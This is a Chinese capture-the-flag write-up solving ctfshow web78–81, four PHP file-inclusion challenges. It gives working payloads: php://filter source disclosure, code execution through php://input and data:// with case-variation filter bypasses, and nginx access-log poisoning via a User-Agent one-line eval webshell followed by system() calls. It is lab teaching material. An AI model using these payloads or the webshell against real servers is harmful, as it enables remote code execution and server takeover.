ctfshow-web入门-文件包含(web78、web79、web80、web81)

Myon⁶ 2024-07-21 17:03:04 阅读 72

目录

1、web78

2、web79

3、web80

4、web81


1、web78

存在文件包含函数:include

直接上 php 伪协议,用 php://filter 读文件(flag.php)的源码,payload:

<code>?file=php://filter/read=convert.base64-encode/resource=flag.php

得到:

<code>PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s3M2JjOTUxNC03MDZmLTRjMWEtOGQ3Ny1iYjRhNDY1NGM1Zjl9Ijs=

base64 解码即可拿到 flag:ctfshow{73bc9514-706f-4c1a-8d77-bb4a4654c5f9}

我们也可以换一种编码方式输出,这样就不用再对结果进行 base64 解码了

payload:

?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php

2、web79

多了一个 str_replace("php", "???", $file); 会将我们输入的 php 替换为问号 ???

尝试大小写绕过,这里只适用于绕过协议名的 php 但是不适用于文件名,因为 Linux 系统上的 PHP 文件路径区分大小写。

没关系我们使用 php://input 

构造 payload:

<code>?file=pHp://input

post 写入:

<?php phpinfo()?>

 可以看到代码执行成功(注意这里 hackbar 推荐使用 Firefox 的,或者你用 bp 抓包)

如果你用的是谷歌的 hackbar,需要将 mode 开成 raw,否则没有回显

接下来我们修改 post 的 php 代码,读取 flag.php

<code><?php system('tac flag.php')?>

拿到 flag:ctfshow{6eb28328-d9a9-4c7a-a15b-b8b2d7da6a56}

此外我们也可以使用 data:// 协议进行代码执行,其实和 php://input 是一样的,让用户可以控制输入流,当它与文件包含函数结合时,用户输入的 data:// 流就会被当作 php 文件执行。

构造 payload:

<code>?file=data://text/plain,<?=system("tac flag.php");?>

或者

?file=data://text/plain,<?=`tac flag.php`;

说明: <?= 是 echo() 的别名用法

此外还尝试了短标签,回顾一下 php 短标签:

<code><? echo '123';?> #前提是开启配置参数short_open_tags=on

<?=(表达式)?> 等价于 <?php echo (表达式)?> #不需要开启参数设置

<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用

<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。code>

但是发现不行,因此继续使用大小写绕过,payload:

?file=data:text/plain,<?pHp system('tac flag.php');?>

最后再看一下题目提示给的 payload:

<code>?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

其中 PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs 是 <?php system('cat flag.php'); 的 base64 编码,也可以实现绕过。

3、web80

新增对 data 的过滤,大小写绕过 data 发现不行:

我们使用 pHp://input ,沿用上一题的 payload:

<code>?file=pHp://input

POST 写入:

<?php system('ls')?>

 可以看到 存在 fl0g.php

读取:

<code><?php system('tac fl0g.php')?>

拿到 flag:ctfshow{159558f9-9375-4a90-ad2e-715075b20bbb}

查看提示:可以日志包含 getshell,可之前一道命令执行的题目很像

对于Apache,日志存放路径:/var/log/apache/access.log

对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log 

读一下这个日志文件:

<code>?file=/var/log/nginx/access.log

 

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。 

从上面的日志信息可以看出是 User-Agent 的内容,我们在 User-Agent 里插入一句话木马进行提交 :(和 web38 一模一样)

<code><?php @eval($_REQUEST['cmd']);?>

访问日志文件,调用木马:

命令执行成功,之后我们就可以直接获取 flag 了:

<code>cmd=system('tac fl0g.php');

4、web81

做完这道题,你就已经经历的九九八十一难,是不是感觉很快?

没关系,后面还是九百一十九难,加油吧,少年!

新增过滤分号 :,伪协议不好用了,还是用上一题的日志文件包含 getshell

在 ua 写入一句话木马

调用

拿到 flag:ctfshow{517a0a24-281b-43cc-a6fc-59484e04f3a8}



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。